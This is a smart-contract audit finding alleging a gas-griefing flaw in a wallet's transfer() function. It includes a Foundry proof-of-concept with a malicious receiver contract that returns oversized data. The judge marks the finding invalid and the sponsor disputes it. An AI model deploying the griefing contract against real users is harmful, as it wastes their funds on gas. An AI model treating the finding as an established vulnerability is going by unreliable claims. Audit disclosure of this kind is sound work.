`SmartAccount.transfer()` is open to gas griefing attacks

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L449-L453

Vulnerability details

SmartAccount has some Extra Utils functions to allow its owner to move funds out of it easily. The transfer() method allows the owner to transfer ETH to a dest address, using the native call.

The call however ignores the data returned. Looking at the function:

449:     function transfer(address payable dest, uint amount) external nonReentrant onlyOwner {
450:         require(dest != address(0), "this action will burn your funds");
451:         (bool success,) = dest.call{value:amount}("");
452:         require(success,"transfer failed");
453:     }

It can be rewritten as:

449:     function transfer(address payable dest, uint amount) external nonReentrant onlyOwner {
450:         require(dest != address(0), "this action will burn your funds");
451:         (bool success, bytes memory data) = dest.call{value:amount}("");
452:         require(success,"transfer failed");
453:     }

Even if the data return is omitted, it does not mean that it is not there: the data that was returned by call will be copied into the memory of the contract execution. The SmartAccount.transfer call can consume as much gas as this copying will cost (with the allocation of new memory).

Memory allocation has a O(n^2) gas cost, meaning the cost can grow quickly.

Impact

The TLDR is that SmartAccount.transfer() is open to gas griefing attacks. It can be called with arbitrary dest addresses, which the owner might think as genuine, without knowing of their fallback returning a data large enough to make the owner consume a lot of gas (a contract code is not always public).

Proof Of Concept

Here is a Foundry test showing that random data in a receiver contract can lead to a high gas cost on a transfer() call.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../test/attacker/Attacker.sol";

contract GriefingTest is Test {
    address admin = address(99);
    address user = address(1);

    PoC public poc;

    uint256 amount = 1e18;

    function setUp() public {
        vm.deal(admin, 10 ether);
        vm.deal(user, 1000000000);
        vm.startPrank(admin);
        poc = new PoC();
        vm.deal(address(poc), 10 ether);
        vm.stopPrank();
    }
    // 408965375 gas
    function testMalicious() public {
        console.log("balance before:", address(poc).balance); // 10 ETH
        vm.prank(user);
        poc.transferToMalicious(amount);
        console.log("balance after:", address(poc).balance); // 9 ETH
    }
    // reverts because call consumes too much gas
    function testMaliciousCapped() public {
        console.log("balance before:", address(poc).balance); // 10 ETH
        vm.prank(user);
        poc.transferToMaliciousCapped(amount);
    }
    // 28568 gas
    function testNormal() public {
        console.log("balance before:", address(poc).balance); // 10 ETH
        vm.prank(user);
        poc.transferToNormal(amount);
        console.log("balance after: ", address(poc).balance); // 9 ETH
    }
}

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.12;

contract PoC {
    address maliciousUser;
    address normalUser;

    constructor() public {
        maliciousUser = address(new MaliciousUser());
        normalUser = address(new NormalUser());
    }

    function transferToMalicious(uint256 _amount) external {
        (bool success, ) = maliciousUser.call{ value: _amount }(new bytes(0));
    }
    // Call to that function reverts if too much gas consumed.
    function transferToMaliciousCapped(uint256 _amount) external {
        (bool success, ) = maliciousUser.call{ value: _amount, gas: 35000}(new bytes(0));
        require(success, "call consumed too much gas");
    }

    function transferToNormal(uint256 _amount) external {
        (bool success, ) = normalUser.call{ value: _amount }(new bytes(0));
    }
}

contract MaliciousUser {
    fallback() external payable {
        assembly { 
            return(0, 10316855) // revert(0, 103168)
        }
    }
}

contract NormalUser {
    fallback() external payable {}
}

A simple way to set it up is to run forge init --no-commit, then adding these contracts to the directory, before running forge test

Tools Used

Manual Analysis, Foundry

Mitigation

Precaution should be taken to avoid gas griefing on the owner of a SmartAccount. For instance by adding a maxGas parameter to transfer():

-449:     function transfer(address payable dest, uint amount) external nonReentrant onlyOwner {
+449:     function transfer(address payable dest, uint amount, uint maxGas) external nonReentrant onlyOwner {
450:         require(dest != address(0), "this action will burn your funds");
-451:         (bool success,) = dest.call{value:amount}("");
+451:         (bool success,) = dest.call{value:amount, gas: maxGas}("");
452:         require(success,"transfer failed");
453:     }

[c4-judge]

gzeon-c4 marked the issue as unsatisfactory: Invalid

[gzeoneth]

Don't think this is valid as the owner can set gasLimit in the parent transaction.

[c4-sponsor]

livingrockrises marked the issue as sponsor disputed